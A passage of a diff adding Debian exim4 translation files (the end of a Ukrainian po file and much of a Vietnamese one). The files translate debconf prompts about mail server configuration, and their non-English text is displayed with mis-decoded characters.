(наприклад, Ñкщо " +"доÑтуп до Інтернет відбуваєтьÑÑ Ð· викориÑтаннÑм комутованого з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ñ– " +"dial-on-demand), то це може мати небажані наÑлідки. Ðаприклад, запуÑк Exim " +"або запуÑк черги (навіть без повідомлень, що очікують доÑтавки) можуть " +"викликати коштовне з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð· Інтернет." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Виберіть цю опцію, Ñкщо Ñ†Ñ ÑиÑтема викориÑтовує Dial-on-Demand. Якщо ÑиÑтема " +"має завжди доÑтупний доÑтуп до Інтернет, Ñ†Ñ Ð¾Ð¿Ñ†Ñ–Ñ Ð½Ðµ повинна бути " +"вÑтановлена." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾ÑˆÑ‚Ð¾Ð²Ð¾Ð³Ð¾ Ñервера" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Розділити Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð° малі файли?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Ð¡Ñ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ€Ð¾Ð±Ð¾Ñ‡Ð¸Ñ… конфігураційних файлів пакунки Debian exim4 можуть " +"проводити двома шлÑхами: викориÑтовуючи так звану \"монолітну конфігурацію" +"\", Ñтворюючи один загальний файл /etc/exim4/exim4.conf.template), або ж " +"\"розщеплену конфігурацію\", близько 40 малих файлів в теці /etc/exim4/conf." +"d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"\"Монолітна конфігураціÑ\" більше підходить Ð´Ð»Ñ Ð²ÐµÐ»Ð¸ÐºÐ¸Ñ… модифікацій та " +"звичайно Ñ” більш Ñтабільною, в той Ñ‡Ð°Ñ Ñк \"розщеплена конфігураціÑ\" більше " +"підходить Ð´Ð»Ñ Ð¼Ð°Ð»Ð¸Ñ… модифікацій але Ñ” більш ламкою Ñ– Ñ—Ñ— можна легко " +"пошкодити при необережному внеÑенні змін." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Детальніше Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ð±Ð»ÐµÐ¼Ð°Ñ‚Ð¸ÐºÐ¸ \"монолітної\" та \"розщепленої\" " +"конфігурації можна знайти в файлі /usr/share/doc/exim4-base/README.Debian.gz." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Приховувати локальне поштове ім'Ñ Ñƒ пошті, що відправлÑєтьÑÑ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Заголовки пошти, що відправлÑєтьÑÑ, будуть перепиÑані таким чином, що буде " +"здаватиÑÑ, ніби вони були Ñтворені на іншій ÑиÑтемі. При виборі цієї опції " +"Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ \"${mailname}\", \"localhost\" та \"${dc_other_hostnames}\" в полÑÑ… " +"From, Reply-To, Sender та Return-Path будуть перезапиÑані." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "формат mbox в /var/mail" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "формат Maildir в домашній теці" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Метод доÑтавки Ð´Ð»Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾Ñ— пошти:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim дозволÑÑ” зберігати пошту, що доÑтавлÑєтьÑÑ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾, в різних форматах. " +"Ðайбільш широко заÑтоÑовні з них -- це mbox та Maildir. mbox викориÑтовує " +"єдиний файл Ð´Ð»Ñ Ð²Ñієї поштової теки. Він знаходитьÑÑ Ð² /var/mail/. Формат " +"Maildir передбачає Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð² окремому файлі в теці ~/" +"Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Будь лаÑка, зауважте, що більшіÑÑ‚ÑŒ поштових інÑтрументів Debian очікують на " +"те, що зазвичай методом доÑтавки локальної пошти Ñ” Ñаме mbox." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "ПереміÑтити недоÑтавлені Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð· черги exim 3 до черги exim4?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Ð’ теці черги exim 3 (або exim-tls 3), /var/spool/exim/input/, Ñ” " +#~ "недоÑтавлені повідомленнÑ." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "ПіÑÐ»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ цієї опції ці Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð±ÑƒÐ´ÑƒÑ‚ÑŒ переміщені у чергу exim4 (/" +#~ "var/spool/exim4/input/), де вони оброблÑтимутьÑÑ exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Це працює тільки в одному напрÑмку: Exim4 може оброблÑти чергу exim 3, " +#~ "але не навпаки. Якщо ви не виберете цю опцію, вам потрібно буде " +#~ "переміÑтити Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð²Ñ€ÑƒÑ‡Ð½Ñƒ, інакше вони ніколи не будуть доÑтавлені." diff --git a/debian/po/vi.po b/debian/po/vi.po new file mode 100644 index 0000000..d010124 --- /dev/null +++ b/debian/po/vi.po @@ -0,0 +1,628 @@ +# Vietnamese Translation for exim4_debian. +# Copyright © 2008 Free Software Foundation, Inc. +# Clytie Siddall <clytie@riverland.net.au>, 2005-2008. +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-01-15 15:44+1030\n" +"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n" +"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n" +"Language: vi\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=1; plural=0;\n" +"X-Generator: LocFactoryEditor 1.7b1\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Gỡ bá» các thÆ° chÆ°a phát khá»i thÆ° mục ống chỉ không?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"ThÆ° mục ống chỉ của exim « /var/spool/exim4/input » chứa má»™t số thÆ° chÆ°a " +"được phát. Việc gỡ bá» chÆ°Æ¡ng trình Exim sẽ gây ra các thÆ° nà y còn lại chÆ°a " +"được phát đến khi Exim được cà i đặt lại." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Không báºt tùy chá»n nà y thì thÆ° mục ống chỉ được giữ lại, cho phép các thÆ° " +"nằm trong hà ng đợi được phát và o ngà y sau, sau khi cà i đặt lái chÆ°Æ¡ng trình " +"Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Cấu hình lại « exim4-config » thay cho gói nà y" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 có cấu hình được định dạng nhÆ° là gói riêng, « exim-config ». Muốn cấu " +"hình lại phần má»m Exim4 thì sá» dụng lệnh « dpkg-reconfigure exim4-config »." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "nÆ¡i Mạng; thÆ° được gởi và nháºn trá»±c tiếp bằng SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "thÆ° được gởi bằng smarthost; nháºn thông qua SMTP hay fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "thÆ° được gởi bằng smarthost; không có thÆ° cục bá»™" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "thÆ° được phát chỉ cục bá»™; không phải trên mạng" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "không cấu hình và o lúc nà y" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Kiểu cấu hình thÆ° chung:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Hãy chá»n kiểu cấu hình máy phục vụ thÆ° tÃn thÃch hợp nhất vá»›i trÆ°á»ng hợp của " +"bạn." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Các hệ thống có địa chỉ IP Ä‘á»™ng, gồm có hệ thống quay số, nên có cấu hình " +"gá»i thÆ° cho máy khác (mang tên « smarthost »: máy khéo) phát, vì nhiá»u hệ " +"thống nháºn nằm trên Mạng cÅ©ng chặn các thÆ° đến từ địa chỉ IP Ä‘á»™ng, để bảo vệ " +"khá»i thÆ° rác." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Hệ thống có địa chỉ IP Ä‘á»™ng thì có khả năng nháºn thÆ° tÃn của chÃnh nó, hoặc " +"khả năng phát cục bá»™ có thể được tắt hoà n toà n (trừ thÆ° cho ngÆ°á»i chủ (root) " +"và chủ bÆ°u Ä‘iện (postmaster))." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Tháºt sá»± để lại hệ thống thÆ° chÆ°a được cấu hình không?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"ChÆ°ac cấu hình thì hệ thống thÆ° tÃn bị há»ng nên không thể dùng được. Việc " +"cấu hình và o lúc sau có thể được là m hoặc bằng tay hoặc bằng cách chạy lệnh " +"« dpkg-reconfigure exim4-config » vá»›i tÆ° cách là ngÆ°á»i chủ (root)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Tên thÆ° của hệ thống:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"« Tên thÆ° » là tên miá»n được dùng để « dè dặt » các địa chỉ thÆ° không có tên " +"miá»n." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Tên nà y sẽ cÅ©ng được dùng bởi các chÆ°Æ¡ng trình khác. Nó nên là tên miá»n đầy " +"đủ Ä‘Æ¡n (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Chẳng hạn, nếu địa chỉ thÆ° nằm trên máy cục bá»™ là « foo@miá»n.com » thì giá " +"trị đúng cho tùy chá»n nà y là « miá»n.com »." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Tên nà y sẽ không xuất hiện trên dòng « Từ : » của thÆ° gá»i Ä‘i, nếu khả năng " +"ghi lại đã được hiệu lá»±c." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Má»—i Ä‘Ãch khác cho đó chấp nháºn thÆ° :" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Hãy nháºp danh sách định giá»›i bằng dấu chấm phẩy chứa các miá»n nháºn cho chúng " +"máy nà y nên là đÃch đến cuối cùng. Những miá»n nà y thÆ°á»ng được gá»i là « miá»n " +"cục bá»™ ». Tên máy cục bá»™ (${fqdn}) và « localhost » được thêm tá»± Ä‘á»™ng và o " +"danh sách nà y." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Mặc định là má»i miá»n được xá» lý má»™t cách trùng. Nếu cả « a.com » lẫn « b.com " +"» Ä‘á»u là miá»n cục bá»™, « tà ik@a.com » và tà ik@b.com » sẽ được phát cho cùng " +"má»™t Ä‘Ãch cuối cùng. Nếu tên miá»n khác nhau nên được xá» lý má»™t cách khác " +"nhau, cần phải chỉnh sá»a các táºp tin cấu hình sau." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Miá»n cho đó cần tiếp lại thÆ° :" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Hãy nháºp danh sách định giá»›i bằng dấu chấm phẩy các miá»n nháºn cho chúng hệ " +"thống nà y sẽ chuyển tiếp thÆ°, chẳng hạn nhÆ° là MX hay cổng ra phụ. Có nghÄ©a " +"là hệ thống nà y sẽ chấp nháºn thÆ° cho những miá»n nà y từ bất cứ nÆ¡i nà o nằm " +"trên Mạng, cÅ©ng phát chúng tùy theo các quy tắc phát thÆ° cục bá»™." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Không ghi và o đây miá»n cục bá»™. Cho phép sá» dụng ký tá»± đại diện." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Máy cho đó cần tiếp lại thÆ° :" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Hãy nháºp danh sách định giá»›i bằng dấu chấm phẩy các phạm vi địa chỉ IP cho " +"chúng hệ thống nà y sẽ chuyển tiếp thÆ° má»™t cách không Ä‘iá»u kiện, thá»±c hiện " +"chức năng của máy khéo." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Bạn nên sá» dụng định dạng địa chỉ/tiá»n tố chuẩn (v.d. 194.222.242.0/24 hoặc " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Nếu hệ thống nà y không nên là máy thông minh cho máy khác nà o, hãy bá» trống " +"danh sách nà y." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Tên miá»n hiển thị cho các ngÆ°á»i dùng cục bá»™ :" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Tùy chá»n để ẩn tên thÆ° tÃn cục bá»™ trong các thÆ° gởi Ä‘i đã được báºt. Vì váºy " +"cần phải ghi rõ tên miá»n hệ thống nà y nên sá» dụng cho phần miá»n của địa chỉ " +"ngÆ°á»i gởi của ngÆ°á»i dùng cục bá»™." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Äịa chỉ IP hay tên miá»n của máy thông minh gởi Ä‘i:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Hãy nháºp địa chỉ IP hoặc tên máy của máy phục vụ thÆ° tÃn mà hệ thống nà y nên " +"sá» dụng nhÆ° là máy khéo gá»i Ä‘i. Nếu máy khéo nà y chấp nháºn các thÆ° của bạn " +"chỉ trên cổng khác vá»›i TCP/25, hãy phụ thêm hai dấu hai chấm và số hiệu cổng " +"(v.d. « máy_thông_minh.com::587 » hay « 192.168.254.254::2525 »). Má»—i dấu " +"hai chấm nằm trong địa chỉ kiểu IPv6 nên được nhân đôi." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Nếu máy khéo cần thiết xác thá»±c, xem tà i liệu Äá»c Äi đặc trÆ°ng cho Debian " +"trong thÆ° mục « /usr/share/doc/exim4-base » để tìm thông tin vá» cách thiết " +"láºp tiến trình xác thá»±c SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "NgÆ°á»i nháºn các thÆ° được gởi cho ngÆ°á»i chủ/chủ bÆ°u Ä‘iện:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"ThÆ° tÃn cho các tà i khoản « postmaster » (chủ bÆ°u Ä‘iện), « root » (ngÆ°á»i " +"chủ) và các tà i khoản hệ thống khác cần phải được chuyển tiếp tá»›i tà i khoản " +"ngÆ°á»i dùng của quản trị hệ thống tháºt." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Nếu giá trị nà y được bá» trống, các thÆ° nhÆ° váºy sẽ được lÆ°u và o « /var/mail/" +"mail », mà không được khuyến khÃch." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Ghi chú rằng các thÆ° cho chủ bÆ°u Ä‘iện (postmaster) nên được Ä‘á»c trên hệ " +"thống tá»›i đó nó được gá»i đầu tiên, hÆ¡n là được chuyển tiếp tá»›i máy khác, vì " +"váºy (Ãt nhất) má»™t của những ngÆ°á»i dùng được liệt kê ở đây không nên chuyển " +"tiếp thÆ° ra máy nà y. Má»™t tiá»n tố « real- » (tháºt) có thể được dùng để buá»™c " +"phát cục bá»™." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Nhiá»u tên ngÆ°á»i dùng nên được định giá»›i bằng dấu cách." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Má»—i địa chỉ IP trên đó cần lắng nghe sá»± kết nối SMTP được gởi đến:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Hãy nháºp má»™t danh sách định giá»›i bằng dấu chấm phẩy các địa chỉ IP. Trình " +"ná»n SMTP Exim sẽ lắng nghe trên tất cả các địa chỉ IP được liệt kê ở đây." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Giá trị rá»—ng sẽ gây ra Exim lắng nghe sÆ° kết nối trên má»i giao diện mạng sẵn " +"sà ng." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Nếu hệ thống nà y chỉ nháºn được thÆ° má»™t cách trá»±c tiếp từ các dịch vụ cục bá»™" +"(không phải từ máy khác), khuyên bạn cấm các sá»± kết nối bên ngoà i đến trình " +"ná»n Exim cục bá»™. Dịch vụ nhÆ° váºy bao gồm chÆ°Æ¡ng trình thÆ° Ä‘iện tá» (MUA) mà " +"liên lạc chỉ vá»›i localhost, cÅ©ng nhÆ° fetchmail. Không thể kết nối từ bên " +"ngoà i khi địa chỉ « 127.0.0.0 » được nháºp và o đây, vì nó sẽ tắt khả năng " +"lắng nghe trên giao diện mạng công cá»™ng." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Giảm số việc truy vấn DNS (quay số khi yêu cầu) không?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Trong chế Ä‘á»™ thao tác chuẩn, Exim tra cứu DNS khi khởi chạy, cÅ©ng khi nháºn " +"hoặc phát thÆ°. Hoạt Ä‘á»™ng nà y cho mục Ä‘Ãch ghi lÆ°u, và để giảm số giá trị đã " +"mã hoá cứng trong cấu hình." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Nếu hệ thống nà y không có bá»™ quyết định dịch vụ đầy đủ DNS có sẵn và o má»i " +"lúc (chẳng hạn nếu cách truy cáºp Mạng là tuyến quay số dùng khả năng quay " +"khi yêu cầu), hoạt Ä‘á»™ng nà y có thể gây ra kết quả không được muốn. Chẳng " +"hạn, việc khởi chạy Exim, hoặc chạy hà ng đợi (tháºm chà nếu không có thÆ° nà o " +"đợi) có thể gây ra má»™t sá»± kiện quay số đắt." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Tùy chá»n nà y nên được báºt nếu hệ thống nà y Ä‘ang dùng khả năng Quay Số Khi " +"Yêu Cầu. Còn nếu hệ thống luôn luôn có thể truy cáºp Mạng, tùy chá»n nà y nên " +"được tắt." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Cấu hình máy phục vụ thÆ°" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Chia táºp tin cấu hình ra nhiá»u táºp tin nhá» không?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Những gói exim4 của Debian có thể sá» dụng hoặc « cấu hình chÆ°a xẻ », chỉ má»™t " +"táºp tin lá»›n (/etc/exim4/exim4.conf.template) hoặc « cấu hình đã xẻ », mà các " +"táºp tin cấu hình Exim được xây dá»±ng từ khoảng 50 táºp tin nhá» nằm trong « /" +"etc/exim4/conf.d/ »." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Cấu hình chÆ°a xẻ là thÃch hợp hÆ¡n vá»›i sá»± sá»a đổi lá»›n hÆ¡n, cÅ©ng thÆ°á»ng ổn " +"định hÆ¡n, còn cấu hình đã xẻ cung cấp má»™t cách dá»… dà ng để là m sá»± sá»a đổi nhá» " +"hÆ¡n, nhÆ°ng là dá»… vỡ hÆ¡n, có thể vỡ nếu được sá»a đổi luá»™m thuá»™m." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Má»™t cuá»™c thảo luáºn chi tiết hÆ¡n vá» cấu hình kiểu xẻ và chÆ°a xẻ nằm trong tà i " +"liệu Äá»c Äi đặc trÆ°ng cho Debian trong thÆ° mục « /usr/share/doc/exim4-base »." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr 